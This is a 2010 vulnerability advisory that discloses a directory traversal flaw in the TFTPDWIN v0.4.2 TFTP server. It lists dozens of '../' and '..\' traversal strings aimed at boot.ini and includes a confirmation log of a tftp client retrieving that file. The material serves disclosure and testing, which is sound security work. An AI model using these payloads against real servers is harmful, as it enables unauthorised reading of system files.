+------------------------------------------------------------------------+
|                                 .......                                |
|                         ..''xxxxxxxxxxxxxxx'...                        |
|                    ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx..                    |
|                 ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.                 |
|               .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'.               |
|             .'xxxxxxxxxxxxxxxxxxxxx''......        ...  ..             |
|            .xxxxxxxxxxxxxxxxxx'...         ........      .'.           |
|           'xxxxxxxxxxxxxxx'......                          '.          |
|          'xxxxxxxxxxxxxx'..'x..                            .x.         |
|         .xxxxxxxxxxxx'...'..                  ...           .'         |
|         'xxxxxxxxx'..  .                          ..        .x.        |
|         xxxxxxx'.                                  ..        x.        |
|         xxxx'.                ....                  x        x.        |
|         'x'.            ...'xxxxxxx'.               x       .x.        |
|         .x'.         .'xxxxxxxxxxxxxx.             ''       .'         |
|          .xx.      .'xxxxxxxxxxxxxxxx.           .'xx'''.  .'          |
|           .xx..    'xxxxxxxxxxxxxxxx'          .'xxxxxxxxx''.          |
|            .'xx'.  .'xxxxxxxxxxxxxxx.      ..'xxxxxxxxxxxx'            |
|              .xxx'.  .xxxxxxxxxxxx'.    .'xxxxxxxxxxxxxx'.             |
|                .xxxx'.'xxxxxxxxx'.      xxx'xxxxxxxxxx'.               |
|                  .'xxxxxxx'....          ...xxxxxxx'.                  |
|                     ..'xxxxx'..         ..xxxxx'..                     |
|                          ....'xx'.....''''...                          |
|                                                                        |
|                    CubilFelino Security Research Labs                  |
|                            proudly presents...                         |
+------------------------------------------------------------------------+
 
 
Author: chr1x (chr1x@sectester.net)
Date: August 30, 2010
Affected operating system/software, including full version details
* TFTP Server TFTPDWIN v0.4.2, Tested on Windows XP PRO SP3
 
Download:
http://www.prosysinfo.webpark.pl/sciagnij.html
http://www.versiontracker.com/php/dlpage.php?id=10417389&db=win&pid=10417389&kind=&lnk=http://www.prosysinfo.com.pl/tftpserver/tftpdwin.exe
 
How the vulnerability can be reproduced
 
* Please, use the strings shown below to reproduce the issue.
 
[*] Testing Path: ../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../boot.ini  <- Vulnerable string!!
[*] Testing Path: ../../../boot.ini  <- Vulnerable string!!
[*] Testing Path: ../../../../boot.ini  <- Vulnerable string!!
[*] Testing Path: ../../../../../boot.ini  <- Vulnerable string!!
[*] Testing Path: ../../../../../../boot.ini  <- Vulnerable string!!
[*] Testing Path: ../../../../../../../boot.ini  <- Vulnerable string!!
[*] Testing Path: ../../../../../../../../boot.ini  <- Vulnerable string!!
[*] Testing Path: ..\..\boot.ini  <- Vulnerable string!!
[*] Testing Path: ..\..\..\boot.ini  <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\boot.ini  <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\boot.ini  <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\boot.ini  <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\..\boot.ini  <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini  <- Vulnerable string!!
[*] Testing Path: ../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!
[*] Testing Path: \../boot.ini  <- Vulnerable string!!
[*] Testing Path: \../\../boot.ini  <- Vulnerable string!!
[*] Testing Path: \../\../\../boot.ini  <- Vulnerable string!!
[*] Testing Path: \../\../\../\../boot.ini  <- Vulnerable string!!
[*] Testing Path: \../\../\../\../\../boot.ini  <- Vulnerable string!!
[*] Testing Path: \../\../\../\../\../\../boot.ini  <- Vulnerable string!!
[*] Testing Path: \../\../\../\../\../\../\../boot.ini  <- Vulnerable string!!
[*] Testing Path: \../\../\../\../\../\../\../\../boot.ini  <- Vulnerable string!!
[*] Testing Path: /..\/..\boot.ini  <- Vulnerable string!!
[*] Testing Path: /..\/..\/..\boot.ini  <- Vulnerable string!!
[*] Testing Path: /..\/..\/..\/..\boot.ini  <- Vulnerable string!!
[*] Testing Path: /..\/..\/..\/..\/..\boot.ini  <- Vulnerable string!!
[*] Testing Path: /..\/..\/..\/..\/..\/..\boot.ini  <- Vulnerable string!!
[*] Testing Path: /..\/..\/..\/..\/..\/..\/..\boot.ini  <- Vulnerable string!!
[*] Testing Path: /..\/..\/..\/..\/..\/..\/..\/..\boot.ini  <- Vulnerable string!!
 
Confirmation Log:
 
root@olovely:/# tftp 192.168.1.53
tftp> connect
(to) 192.168.1.53
tftp> ascii
tftp> get
(files) ..\..\..\..\..\..\..\boot.ini
Received 211 bytes in 0.0 seconds
tftp>
 
 
What impact the vulnerability has on the vulnerable system
Any additional details that might help in the verification process
 
* High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem.